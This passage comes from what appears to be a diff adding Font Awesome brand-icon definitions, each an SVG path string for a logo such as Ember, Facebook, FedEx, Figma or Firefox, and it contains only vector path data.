"M25.71,228.16l.35-.48c0,.16,0,.32-.07.48Zm460.58,15.51c0-44-7.76-84.46-28.81-122.4C416.5,47.88,343.91,8,258.89,8,119,7.72,40.62,113.21,26.06,227.68c42.42-61.31,117.07-121.38,220.37-125,0,0,109.67,0,99.42,105H170c6.37-37.39,18.55-59,34.34-78.93-75.05,34.9-121.85,96.1-120.75,188.32.83,71.45,50.13,144.84,120.75,172,83.35,31.84,192.77,7.2,240.13-21.33V363.31C363.6,419.8,173.6,424.23,172.21,295.74H486.29V243.67Z" ], + elementor: [ 448, 512, [], "f430", "M425.6 32H22.4C10 32 0 42 0 54.4v403.2C0 470 10 480 22.4 480h403.2c12.4 0 22.4-10 22.4-22.4V54.4C448 42 438 32 425.6 32M164.3 355.5h-39.8v-199h39.8v199zm159.3 0H204.1v-39.8h119.5v39.8zm0-79.6H204.1v-39.8h119.5v39.8zm0-79.7H204.1v-39.8h119.5v39.8z" ], + ello: [ 496, 512, [], "f5f1", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm143.84 285.2C375.31 358.51 315.79 404.8 248 404.8s-127.31-46.29-143.84-111.6c-1.65-7.44 2.48-15.71 9.92-17.36 7.44-1.65 15.71 2.48 17.36 9.92 14.05 52.91 62 90.11 116.56 90.11s102.51-37.2 116.56-90.11c1.65-7.44 9.92-12.4 17.36-9.92 7.44 1.65 12.4 9.92 9.92 17.36z" ], + ember: [ 640, 512, [], "f423", "M639.9 254.6c-1.1-10.7-10.7-6.8-10.7-6.8s-15.6 12.1-29.3 10.7c-13.7-1.3-9.4-32-9.4-32s3-28.1-5.1-30.4c-8.1-2.4-18 7.3-18 7.3s-12.4 13.7-18.3 31.2l-1.6.5s1.9-30.6-.3-37.6c-1.6-3.5-16.4-3.2-18.8 3s-14.2 49.2-15 67.2c0 0-23.1 19.6-43.3 22.8s-25-9.4-25-9.4 54.8-15.3 52.9-59.1-44.2-27.6-49-24c-4.6 3.5-29.4 18.4-36.6 59.7-.2 1.4-.7 7.5-.7 7.5s-21.2 14.2-33 18c0 0 33-55.6-7.3-80.9-11.4-6.8-21.3-.5-27.2 5.3 13.6-17.3 46.4-64.2 36.9-105.2-5.8-24.4-18-27.1-29.2-23.1-17 6.7-23.5 16.7-23.5 16.7s-22 32-27.1 79.5-12.6 105.1-12.6 105.1-10.5 10.2-20.2 10.7-5.4-28.7-5.4-28.7 7.5-44.6 7-52.1-1.1-11.6-9.9-14.2c-8.9-2.7-18.5 8.6-18.5 8.6s-25.5 38.7-27.7 44.6l-1.3 2.4-1.3-1.6s18-52.7.8-53.5-28.5 18.8-28.5 18.8-19.6 32.8-20.4 36.5l-1.3-1.6s8.1-38.2 6.4-47.6c-1.6-9.4-10.5-7.5-10.5-7.5s-11.3-1.3-14.2 5.9-13.7 55.3-15 70.7c0 0-28.2 20.2-46.8 20.4-18.5.3-16.7-11.8-16.7-11.8s68-23.3 49.4-69.2c-8.3-11.8-18-15.5-31.7-15.3-13.7.3-30.3 8.6-41.3 33.3-5.3 11.8-6.8 23-7.8 31.5 0 0-12.3 2.4-18.8-2.9s-10 0-10 0-11.2 14-.1 18.3 28.1 6.1 28.1 6.1c1.6 7.5 6.2 19.5 19.6 29.7 20.2 15.3 58.8-1.3 58.8-1.3l15.9-8.8s.5 14.6 12.1 16.7 16.4 1 36.5-47.9c11.8-25 12.6-23.6 12.6-23.6l1.3-.3s-9.1 46.8-5.6 59.7C187.7 319.4 203 318 203 318s8.3 2.4 15-21.2 19.6-49.9 19.6-49.9h1.6s-5.6 48.1 3 63.7 30.9 5.3 30.9 5.3 15.6-7.8 18-10.2c0 0 18.5 15.8 44.6 12.9 58.3-11.5 79.1-25.9 79.1-25.9s10 24.4 41.1 26.7c35.5 2.7 54.8-18.6 54.8-18.6s-.3 13.5 12.1 18.6 20.7-22.8 20.7-22.8l20.7-57.2h1.9s1.1 37.3 21.5 43.2 47-13.7 47-13.7 6.4-3.5 5.3-14.3zm-578 5.3c.8-32 21.8-45.9 29-39 7.3 7 4.6 22-9.1 31.4-13.7 9.5-19.9 7.6-19.9 7.6zm272.8-123.8s19.1-49.7 23.6-25.5-40 96.2-40 96.2c.5-16.2 16.4-70.7 16.4-70.7zm22.8 138.4c-12.6 33-43.3 19.6-43.3 19.6s-3.5-11.8 6.4-44.9 33.3-20.2 33.3-20.2 16.2 12.4 3.6 45.5zm84.6-14.6s-3-10.5 8.1-30.6c11-20.2 19.6-9.1 19.6-9.1s9.4 10.2-1.3 25.5-26.4 14.2-26.4 14.2z" ], + empire: [ 496, 512, [], "f1d1", "M287.6 54.2c-10.8-2.2-22.1-3.3-33.5-3.6V32.4c78.1 2.2 146.1 44 184.6 106.6l-15.8 9.1c-6.1-9.7-12.7-18.8-20.2-27.1l-18 15.5c-26-29.6-61.4-50.7-101.9-58.4l4.8-23.9zM53.4 322.4l23-7.7c-6.4-18.3-10-38.2-10-58.7s3.3-40.4 9.7-58.7l-22.7-7.7c3.6-10.8 8.3-21.3 13.6-31l-15.8-9.1C34 181 24.1 217.5 24.1 256s10 75 27.1 106.6l15.8-9.1c-5.3-10-9.7-20.3-13.6-31.1zM213.1 434c-40.4-8-75.8-29.1-101.9-58.7l-18 15.8c-7.5-8.6-14.4-17.7-20.2-27.4l-16 9.4c38.5 62.3 106.8 104.3 184.9 106.6v-18.3c-11.3-.3-22.7-1.7-33.5-3.6l4.7-23.8zM93.3 120.9l18 15.5c26-29.6 61.4-50.7 101.9-58.4l-4.7-23.8c10.8-2.2 22.1-3.3 33.5-3.6V32.4C163.9 34.6 95.9 76.4 57.4 139l15.8 9.1c6-9.7 12.6-18.9 20.1-27.2zm309.4 270.2l-18-15.8c-26 29.6-61.4 50.7-101.9 58.7l4.7 23.8c-10.8 1.9-22.1 3.3-33.5 3.6v18.3c78.1-2.2 146.4-44.3 184.9-106.6l-16.1-9.4c-5.7 9.7-12.6 18.8-20.1 27.4zM496 256c0 137-111 248-248 248S0 393 0 256 111 8 248 8s248 111 248 248zm-12.2 0c0-130.1-105.7-235.8-235.8-235.8S12.2 125.9 12.2 256 117.9 491.8 248 491.8 483.8 386.1 483.8 256zm-39-106.6l-15.8 9.1c5.3 9.7 10 20.2 13.6 31l-22.7 7.7c6.4 18.3 9.7 38.2 9.7 58.7s-3.6 40.4-10 58.7l23 7.7c-3.9 10.8-8.3 21-13.6 31l15.8 9.1C462 331 471.9 294.5 471.9 256s-9.9-75-27.1-106.6zm-183 177.7c16.3-3.3 30.4-11.6 40.7-23.5l51.2 44.8c11.9-13.6 21.3-29.3 27.1-46.8l-64.2-22.1c2.5-7.5 3.9-15.2 3.9-23.5s-1.4-16.1-3.9-23.5l64.5-22.1c-6.1-17.4-15.5-33.2-27.4-46.8l-51.2 44.8c-10.2-11.9-24.4-20.5-40.7-23.8l13.3-66.4c-8.6-1.9-17.7-2.8-27.1-2.8-9.4 0-18.5.8-27.1 2.8l13.3 66.4c-16.3 3.3-30.4 11.9-40.7 23.8l-51.2-44.8c-11.9 13.6-21.3 29.3-27.4 46.8l64.5 22.1c-2.5 7.5-3.9 15.2-3.9 23.5s1.4 16.1 3.9 23.5l-64.2 22.1c5.8 17.4 15.2 33.2 27.1 46.8l51.2-44.8c10.2 11.9 24.4 20.2 40.7 23.5l-13.3 66.7c8.6 1.7 17.7 2.8 27.1 2.8 9.4 0 18.5-1.1 27.1-2.8l-13.3-66.7z" ], + envira: [ 448, 512, [], "f299", "M0 32c477.6 0 366.6 317.3 367.1 366.3L448 480h-26l-70.4-71.2c-39 4.2-124.4 34.5-214.4-37C47 300.3 52 214.7 0 32zm79.7 46c-49.7-23.5-5.2 9.2-5.2 9.2 45.2 31.2 66 73.7 90.2 119.9 31.5 60.2 79 139.7 144.2 167.7 65 28 34.2 12.5 6-8.5-28.2-21.2-68.2-87-91-130.2-31.7-60-61-118.6-144.2-158.1z" ], + erlang: [ 640, 512, [], "f39d", "M87.2 53.5H0v405h100.4c-49.7-52.6-78.8-125.3-78.7-212.1-.1-76.7 24-142.7 65.5-192.9zm238.2 9.7c-45.9.1-85.1 33.5-89.2 83.2h169.9c-1.1-49.7-34.5-83.1-80.7-83.2zm230.7-9.6h.3l-.1-.1zm.3 0c31.4 42.7 48.7 97.5 46.2 162.7.5 6 .5 11.7 0 24.1H230.2c-.2 109.7 38.9 194.9 138.6 195.3 68.5-.3 118-51 151.9-106.1l96.4 48.2c-17.4 30.9-36.5 57.8-57.9 80.8H640v-405z" ], + ethereum: [ 320, 512, [], "f42e", "M311.9 260.8L160 353.6 8 260.8 160 0l151.9 260.8zM160 383.4L8 290.6 160 512l152-221.4-152 92.8z" ], + etsy: [ 384, 512, [], "f2d7", "M384 348c-1.75 10.75-13.75 110-15.5 132-117.879-4.299-219.895-4.743-368.5 0v-25.5c45.457-8.948 60.627-8.019 61-35.25 1.793-72.322 3.524-244.143 0-322-1.029-28.46-12.13-26.765-61-36v-25.5c73.886 2.358 255.933 8.551 362.999-3.75-3.5 38.25-7.75 126.5-7.75 126.5H332C320.947 115.665 313.241 68 277.25 68h-137c-10.25 0-10.75 3.5-10.75 9.75V241.5c58 .5 88.5-2.5 88.5-2.5 29.77-.951 27.56-8.502 40.75-65.251h25.75c-4.407 101.351-3.91 61.829-1.75 160.25H257c-9.155-40.086-9.065-61.045-39.501-61.5 0 0-21.5-2-88-2v139c0 26 14.25 38.25 44.25 38.25H263c63.636 0 66.564-24.996 98.751-99.75H384z" ], + evernote: [ 384, 512, [], "f839", "M120.82 132.21c1.6 22.31-17.55 21.59-21.61 21.59-68.93 0-73.64-1-83.58 3.34-.56.22-.74 0-.37-.37L123.79 46.45c.38-.37.6-.22.38.37-4.35 9.99-3.35 15.09-3.35 85.39zm79 308c-14.68-37.08 13-76.93 52.52-76.62 17.49 0 22.6 23.21 7.95 31.42-6.19 3.3-24.95 1.74-25.14 19.2-.05 17.09 19.67 25 31.2 24.89A45.64 45.64 0 0 0 312 393.45v-.08c0-11.63-7.79-47.22-47.54-55.34-7.72-1.54-65-6.35-68.35-50.52-3.74 16.93-17.4 63.49-43.11 69.09-8.74 1.94-69.68 7.64-112.92-36.77 0 0-18.57-15.23-28.23-57.95-3.38-15.75-9.28-39.7-11.14-62 0-18 11.14-30.45 25.07-32.2 81 0 90 2.32 101-7.8 9.82-9.24 7.8-15.5 7.8-102.78 1-8.3 7.79-30.81 53.41-24.14 6 .86 31.91 4.18 37.48 30.64l64.26 11.15c20.43 3.71 70.94 7 80.6 57.94 22.66 121.09 8.91 238.46 7.8 238.46C362.15 485.53 267.06 480 267.06 480c-18.95-.23-54.25-9.4-67.27-39.83zm80.94-204.84c-1 1.92-2.2 6 .85 7 14.09 4.93 39.75 6.84 45.88 5.53 3.11-.25 3.05-4.43 2.48-6.65-3.53-21.85-40.83-26.5-49.24-5.92z" ], + expeditedssl: [ 496, 512, [], "f23e", "M248 43.4C130.6 43.4 35.4 138.6 35.4 256S130.6 468.6 248 468.6 460.6 373.4 460.6 256 365.4 43.4 248 43.4zm-97.4 132.9c0-53.7 43.7-97.4 97.4-97.4s97.4 43.7 97.4 97.4v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6c0-82.1-124-82.1-124 0v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6zM389.7 380c0 9.7-8 17.7-17.7 17.7H124c-9.7 0-17.7-8-17.7-17.7V238.3c0-9.7 8-17.7 17.7-17.7h248c9.7 0 17.7 8 17.7 17.7V380zm-248-137.3v132.9c0 2.5-1.9 4.4-4.4 4.4h-8.9c-2.5 0-4.4-1.9-4.4-4.4V242.7c0-2.5 1.9-4.4 4.4-4.4h8.9c2.5 0 4.4 1.9 4.4 4.4zm141.7 48.7c0 13-7.2 24.4-17.7 30.4v31.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-31.6c-10.5-6.1-17.7-17.4-17.7-30.4 0-19.7 15.8-35.4 35.4-35.4s35.5 15.8 35.5 35.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 478.3C121 486.3 17.7 383 17.7 256S121 25.7 248 25.7 478.3 129 478.3 256 375 486.3 248 486.3z" ], + facebook: [ 512, 512, [], "f09a", "M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z" ], + "facebook-f": [ 320, 512, [], "f39e", "M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z" ], + "facebook-messenger": [ 512, 512, [], "f39f", "M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z" ], + "facebook-square": [ 448, 512, [], "f082", "M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z" ], + "fantasy-flight-games": [ 512, 512, [], "f6dc", "M256 32.86L32.86 256 256 479.14 479.14 256 256 32.86zM88.34 255.83c1.96-2 11.92-12.3 96.49-97.48 41.45-41.75 86.19-43.77 119.77-18.69 24.63 18.4 62.06 58.9 62.15 59 .68.74 1.07 2.86.58 3.38-11.27 11.84-22.68 23.54-33.5 34.69-34.21-32.31-40.52-38.24-48.51-43.95-17.77-12.69-41.4-10.13-56.98 5.1-2.17 2.13-1.79 3.43.12 5.35 2.94 2.95 28.1 28.33 35.09 35.78-11.95 11.6-23.66 22.97-35.69 34.66-12.02-12.54-24.48-25.53-36.54-38.11-21.39 21.09-41.69 41.11-61.85 60.99a42569.01 42569.01 0 0 1-41.13-40.72zm234.82 101.6c-35.49 35.43-78.09 38.14-106.99 20.47-22.08-13.5-39.38-32.08-72.93-66.84 12.05-12.37 23.79-24.42 35.37-36.31 33.02 31.91 37.06 36.01 44.68 42.09 18.48 14.74 42.52 13.67 59.32-1.8 3.68-3.39 3.69-3.64.14-7.24-10.59-10.73-21.19-21.44-31.77-32.18-1.32-1.34-3.03-2.48-.8-4.69 10.79-10.71 21.48-21.52 32.21-32.29.26-.26.65-.38 1.91-1.07 12.37 12.87 24.92 25.92 37.25 38.75 21.01-20.73 41.24-40.68 61.25-60.42 13.68 13.4 27.13 26.58 40.86 40.03-20.17 20.86-81.68 82.71-100.5 101.5zM256 0L0 256l256 256 256-256L256 0zM16 256L256 16l240 240-240 240L16 256z" ], + fedex: [ 640, 512, [], "f797", "M586 284.5l53.3-59.9h-62.4l-21.7 24.8-22.5-24.8H414v-16h56.1v-48.1H318.9V236h-.5c-9.6-11-21.5-14.8-35.4-14.8-28.4 0-49.8 19.4-57.3 44.9-18-59.4-97.4-57.6-121.9-14v-24.2H49v-26.2h60v-41.1H0V345h49v-77.5h48.9c-1.5 5.7-2.3 11.8-2.3 18.2 0 73.1 102.6 91.4 130.2 23.7h-42c-14.7 20.9-45.8 8.9-45.8-14.6h85.5c3.7 30.5 27.4 56.9 60.1 56.9 14.1 0 27-6.9 34.9-18.6h.5V345h212.2l22.1-25 22.3 25H640l-54-60.5zm-446.7-16.6c6.1-26.3 41.7-25.6 46.5 0h-46.5zm153.4 48.9c-34.6 0-34-62.8 0-62.8 32.6 0 34.5 62.8 0 62.8zm167.8 19.1h-94.4V169.4h95v30.2H405v33.9h55.5v28.1h-56.1v44.7h56.1v29.6zm-45.9-39.8v-24.4h56.1v-44l50.7 57-50.7 57v-45.6h-56.1zm138.6 10.3l-26.1 29.5H489l45.6-51.2-45.6-51.2h39.7l26.6 29.3 25.6-29.3h38.5l-45.4 51 46 51.4h-40.5l-26.3-29.5z" ], + fedora: [ 448, 512, [], "f798", "M225 32C101.3 31.7.8 131.7.4 255.4L0 425.7a53.6 53.6 0 0 0 53.6 53.9l170.2.4c123.7.3 224.3-99.7 224.6-223.4S348.7 32.3 225 32zm169.8 157.2L333 126.6c2.3-4.7 3.8-9.2 3.8-14.3v-1.6l55.2 56.1a101 101 0 0 1 2.8 22.4zM331 94.3a106.06 106.06 0 0 1 58.5 63.8l-54.3-54.6a26.48 26.48 0 0 0-4.2-9.2zM118.1 247.2a49.66 49.66 0 0 0-7.7 11.4l-8.5-8.5a85.78 85.78 0 0 1 16.2-2.9zM97 251.4l11.8 11.9-.9 8a34.74 34.74 0 0 0 2.4 12.5l-27-27.2a80.6 80.6 0 0 1 13.7-5.2zm-18.2 7.4l38.2 38.4a53.17 53.17 0 0 0-14.1 4.7L67.6 266a107 107 0 0 1 11.2-7.2zm-15.2 9.8l35.3 35.5a67.25 67.25 0 0 0-10.5 8.5L53.5 278a64.33 64.33 0 0 1 10.1-9.4zm-13.3 12.3l34.9 35a56.84 56.84 0 0 0-7.7 11.4l-35.8-35.9c2.8-3.8 5.7-7.2 8.6-10.5zm-11 14.3l36.4 36.6a48.29 48.29 0 0 0-3.6 15.2l-39.5-39.8a99.81 99.81 0 0 1 6.7-12zm-8.8 16.3l41.3 41.8a63.47 63.47 0 0 0 6.7 26.2L25.8 326c1.4-4.9 2.9-9.6 4.7-14.5zm-7.9 43l61.9 62.2a31.24 31.24 0 0 0-3.6 14.3v1.1l-55.4-55.7a88.27 88.27 0 0 1-2.9-21.9zm5.3 30.7l54.3 54.6a28.44 28.44 0 0 0 4.2 9.2 106.32 106.32 0 0 1-58.5-63.8zm-5.3-37a80.69 80.69 0 0 1 2.1-17l72.2 72.5a37.59 37.59 0 0 0-9.9 8.7zm253.3-51.8l-42.6-.1-.1 56c-.2 69.3-64.4 115.8-125.7 102.9-5.7 0-19.9-8.7-19.9-24.2a24.89 24.89 0 0 1 24.5-24.6c6.3 0 6.3 1.6 15.7 1.6a55.91 55.91 0 0 0 56.1-55.9l.1-47c0-4.5-4.5-9-8.9-9l-33.6-.1c-32.6-.1-32.5-49.4.1-49.3l42.6.1.1-56a105.18 105.18 0 0 1 105.6-105 86.35 86.35 0 0 1 20.2 2.3c11.2 1.8 19.9 11.9 19.9 24 0 15.5-14.9 27.8-30.3 23.9-27.4-5.9-65.9 14.4-66 54.9l-.1 47a8.94 8.94 0 0 0 8.9 9l33.6.1c32.5.2 32.4 49.5-.2 49.4zm23.5-.3a35.58 35.58 0 0 0 7.6-11.4l8.5 8.5a102 102 0 0 1-16.1 2.9zm21-4.2L308.6 280l.9-8.1a34.74 34.74 0 0 0-2.4-12.5l27 27.2a74.89 74.89 0 0 1-13.7 5.3zm18-7.4l-38-38.4c4.9-1.1 9.6-2.4 13.7-4.7l36.2 35.9c-3.8 2.5-7.9 5-11.9 7.2zm15.5-9.8l-35.3-35.5a61.06 61.06 0 0 0 10.5-8.5l34.9 35a124.56 124.56 0 0 1-10.1 9zm13.2-12.3l-34.9-35a63.18 63.18 0 0 0 7.7-11.4l35.8 35.9a130.28 130.28 0 0 1-8.6 10.5zm11-14.3l-36.4-36.6a48.29 48.29 0 0 0 3.6-15.2l39.5 39.8a87.72 87.72 0 0 1-6.7 12zm13.5-30.9a140.63 140.63 0 0 1-4.7 14.3L345.6 190a58.19 58.19 0 0 0-7.1-26.2zm1-5.6l-71.9-72.1a32 32 0 0 0 9.9-9.2l64.3 64.7a90.93 90.93 0 0 1-2.3 16.6z" ], + figma: [ 384, 512, [], "f799", "M14 95.7924C14 42.8877 56.8878 0 109.793 0H274.161C327.066 0 369.954 42.8877 369.954 95.7924C369.954 129.292 352.758 158.776 326.711 175.897C352.758 193.019 369.954 222.502 369.954 256.002C369.954 308.907 327.066 351.795 274.161 351.795H272.081C247.279 351.795 224.678 342.369 207.666 326.904V415.167C207.666 468.777 163.657 512 110.309 512C57.5361 512 14 469.243 14 416.207C14 382.709 31.1945 353.227 57.2392 336.105C31.1945 318.983 14 289.5 14 256.002C14 222.502 31.196 193.019 57.2425 175.897C31.196 158.776 14 129.292 14 95.7924ZM176.288 191.587H109.793C74.2172 191.587 45.3778 220.427 45.3778 256.002C45.3778 291.44 73.9948 320.194 109.381 320.416C109.518 320.415 109.655 320.415 109.793 320.415H176.288V191.587ZM207.666 256.002C207.666 291.577 236.505 320.417 272.081 320.417H274.161C309.737 320.417 338.576 291.577 338.576 256.002C338.576 220.427 309.737 191.587 274.161 191.587H272.081C236.505 191.587 207.666 220.427 207.666 256.002ZM109.793 351.795C109.655 351.795 109.518 351.794 109.381 351.794C73.9948 352.015 45.3778 380.769 45.3778 416.207C45.3778 451.652 74.6025 480.622 110.309 480.622C146.591 480.622 176.288 451.186 176.288 415.167V351.795H109.793ZM109.793 31.3778C74.2172 31.3778 45.3778 60.2173 45.3778 95.7924C45.3778 131.368 74.2172 160.207 109.793 160.207H176.288V31.3778H109.793ZM207.666 160.207H274.161C309.737 160.207 338.576 131.368 338.576 95.7924C338.576 60.2173 309.737 31.3778 274.161 31.3778H207.666V160.207Z" ], + firefox: [ 512, 512, [], "f269", "M503.52,241.48c-.12-1.56-.24-3.12-.24-4.68v-.12l-.36-4.68v-.12a245.86,245.86,0,0,0-7.32-41.15c0-.12,0-.12-.12-.24l-1.08-4c-.12-.24-.12-.48-.24-.6-.36-1.2-.72-2.52-1.08-3.72-.12-.24-.12-.6-.24-.84-.36-1.2-.72-2.4-1.08-3.48-.12-.36-.24-.6-.36-1-.36-1.2-.72-2.28-1.2-3.48l-.36-1.08c-.36-1.08-.84-2.28-1.2-3.36a8.27,8.27,0,0,0-.36-1c-.48-1.08-.84-2.28-1.32-3.36-.12-.24-.24-.6-.36-.84-.48-1.2-1-2.28-1.44-3.48,0-.12-.12-.24-.12-.36-1.56-3.84-3.24-7.68-5-11.4l-.36-.72c-.48-1-.84-1.8-1.32-2.64-.24-.48-.48-1.08-.72-1.56-.36-.84-.84-1.56-1.2-2.4-.36-.6-.6-1.2-1-1.8s-.84-1.44-1.2-2.28c-.36-.6-.72-1.32-1.08-1.92s-.84-1.44-1.2-2.16a18.07,18.07,0,0,0-1.2-2c-.36-.72-.84-1.32-1.2-2s-.84-1.32-1.2-2-.84-1.32-1.2-1.92-.84-1.44-1.32-2.16a15.63,15.63,0,0,0-1.2-1.8L463.2,119a15.63,15.63,0,0,0-1.2-1.8c-.48-.72-1.08-1.56-1.56-2.28-.36-.48-.72-1.08-1.08-1.56l-1.8-2.52c-.36-.48-.6-.84-1-1.32-1-1.32-1.8-2.52-2.76-3.72a248.76,248.76,0,0,0-23.51-26.64A186.82,186.82,0,0,0,412,62.46c-4-3.48-8.16-6.72-12.48-9.84a162.49,162.49,0,0,0-24.6-15.12c-2.4-1.32-4.8-2.52-7.2-3.72a254,254,0,0,0-55.43-19.56c-1.92-.36-3.84-.84-5.64-1.2h-.12c-1-.12-1.8-.36-2.76-.48a236.35,236.35,0,0,0-38-4H255.14a234.62,234.62,0,0,0-45.48,5c-33.59,7.08-63.23,21.24-82.91,39-1.08,1-1.92,1.68-2.4,2.16l-.48.48H124l-.12.12.12-.12a.12.12,0,0,0,.12-.12l-.12.12a.42.42,0,0,1,.24-.12c14.64-8.76,34.92-16,49.44-19.56l5.88-1.44c.36-.12.84-.12,1.2-.24,1.68-.36,3.36-.72,5.16-1.08.24,0,.6-.12.84-.12C250.94,20.94,319.34,40.14,367,85.61a171.49,171.49,0,0,1,26.88,32.76c30.36,49.2,27.48,111.11,3.84,147.59-34.44,53-111.35,71.27-159,24.84a84.19,84.19,0,0,1-25.56-59,74.05,74.05,0,0,1,6.24-31c1.68-3.84,13.08-25.67,18.24-24.59-13.08-2.76-37.55,2.64-54.71,28.19-15.36,22.92-14.52,58.2-5,83.28a132.85,132.85,0,0,1-12.12-39.24c-12.24-82.55,43.31-153,94.31-170.51-27.48-24-96.47-22.31-147.71,15.36-29.88,22-51.23,53.16-62.51,90.36,1.68-20.88,9.6-52.08,25.8-83.88-17.16,8.88-39,37-49.8,62.88-15.6,37.43-21,82.19-16.08,124.79.36,3.24.72,6.36,1.08,9.6,19.92,117.11,122,206.38,244.78,206.38C392.77,503.42,504,392.19,504,255,503.88,250.48,503.76,245.92,503.52,241.48Z" ], + "firefox-browser": [ 512, 512, [], "e007", "M189.37,152.86Zm-58.74-29.37C130.79,123.5,130.71,123.5,130.63,123.49Zm351.42,45.35c-10.61-25.5-32.08-53-48.94-61.73,13.72,26.89,21.67,53.88,24.7,74,0,0,0,.14.05.41-27.58-68.75-74.35-96.47-112.55-156.83-1.93-3.05-3.86-6.11-5.74-9.33-1-1.65-1.86-3.34-2.69-5.05A44.88,44.88,0,0,1,333.24.69a.63.63,0,0,0-.55-.66.9.9,0,0,0-.46,0l-.12.07-.18.1.1-.14c-54.23,31.77-76.72,87.38-82.5,122.78a130,130,0,0,0-48.33,12.33,6.25,6.25,0,0,0-3.09,7.75,6.13,6.13,0,0,0,7.79,3.79l.52-.21a117.84,117.84,0,0,1,42.11-11l1.42-.1c2-.12,4-.2,6-.22A122.61,122.61,0,0,1,291,140c.67.2,1.32.42,2,.63,1.89.57,3.76,1.2,5.62,1.87,1.36.5,2.71,1,4.05,1.58,1.09.44,2.18.88,3.25,1.35q2.52,1.13,5,2.35c.75.37,1.5.74,2.25,1.13q2.4,1.26,4.74,2.63,1.51.87,3,1.8a124.89,124.89,0,0,1,42.66,44.13c-13-9.15-36.35-18.19-58.82-14.28,87.74,43.86,64.18,194.9-57.39,189.2a108.43,108.43,0,0,1-31.74-6.12c-2.42-.91-4.8-1.89-7.16-2.93-1.38-.63-2.76-1.27-4.12-2C174.5,346,149.9,316.92,146.83,281.59c0,0,11.25-41.95,80.62-41.95,7.5,0,28.93-20.92,29.33-27-.09-2-42.54-18.87-59.09-35.18-8.85-8.71-13.05-12.91-16.77-16.06a69.58,69.58,0,0,0-6.31-4.77A113.05,113.05,0,0,1,173.92,97c-25.06,11.41-44.55,29.45-58.71,45.37h-.12c-9.67-12.25-9-52.65-8.43-61.08-.12-.53-7.22,3.68-8.15,4.31a178.54,178.54,0,0,0-23.84,20.43A214,214,0,0,0,51.9,133.36l0,0a.08.08,0,0,1,0,0,205.84,205.84,0,0,0-32.73,73.9c-.06.27-2.33,10.21-4,22.48q-.42,2.87-.78,5.74c-.57,3.69-1,7.71-1.44,14,0,.24,0,.48-.05.72-.18,2.71-.34,5.41-.49,8.12,0,.41,0,.82,0,1.24,0,134.7,109.21,243.89,243.92,243.89,120.64,0,220.82-87.58,240.43-202.62.41-3.12.74-6.26,1.11-9.41,4.85-41.83-.54-85.79-15.82-122.55Z" ], + "first-order": [ 448, 512, [], "f2b0", "M12.9 229.2c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4h-.2zM224 96.6c-7.1 0-14.6.6-21.4 1.7l3.7 67.4-22-64c-14.3 3.7-27.7 9.4-40 16.6l29.4 61.4-45.1-50.9c-11.4 8.9-21.7 19.1-30.6 30.9l50.6 45.4-61.1-29.7c-7.1 12.3-12.9 25.7-16.6 40l64.3 22.6-68-4c-.9 7.1-1.4 14.6-1.4 22s.6 14.6 1.4 21.7l67.7-4-64 22.6c3.7 14.3 9.4 27.7 16.6 40.3l61.1-29.7L97.7 352c8.9 11.7 19.1 22.3 30.9 30.9l44.9-50.9-29.5 61.4c12.3 7.4 25.7 13.1 40 16.9l22.3-64.6-4 68c7.1 1.1 14.6 1.7 21.7 1.7 7.4 0 14.6-.6 21.7-1.7l-4-68.6 22.6 65.1c14.3-4 27.7-9.4 40-16.9L274.9 332l44.9 50.9c11.7-8.9 22-19.1 30.6-30.9l-50.6-45.1 61.1 29.4c7.1-12.3 12.9-25.7 16.6-40.3l-64-22.3 67.4 4c1.1-7.1 1.4-14.3 1.4-21.7s-.3-14.9-1.4-22l-67.7 4 64-22.3c-3.7-14.3-9.1-28-16.6-40.3l-60.9 29.7 50.6-45.4c-8.9-11.7-19.1-22-30.6-30.9l-45.1 50.9 29.4-61.1c-12.3-7.4-25.7-13.1-40-16.9L241.7 166l4-67.7c-7.1-1.2-14.3-1.7-21.7-1.7zM443.4 128v256L224 512 4.6 384V128L224 0l219.4 128zm-17.1 10.3L224 20.9 21.7 138.3v235.1L224 491.1l202.3-117.7V138.3zM224 37.1l187.7 109.4v218.9L224 474.9 36.3 365.4V146.6L224 37.1zm0 50.9c-92.3 0-166.9 75.1-166.9 168 0 92.6 74.6 167.7 166.9 167.7 92 0 166.9-75.1 166.9-167.7 0-92.9-74.9-168-166.9-168z" ], + "first-order-alt": [ 496, 512, [], "f50a", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 488.21C115.34 496.21 7.79 388.66 7.79 256S115.34 15.79 248 15.79 488.21 123.34 488.21 256 380.66 496.21 248 496.21zm0-459.92C126.66 36.29 28.29 134.66 28.29 256S126.66 475.71 248 475.71 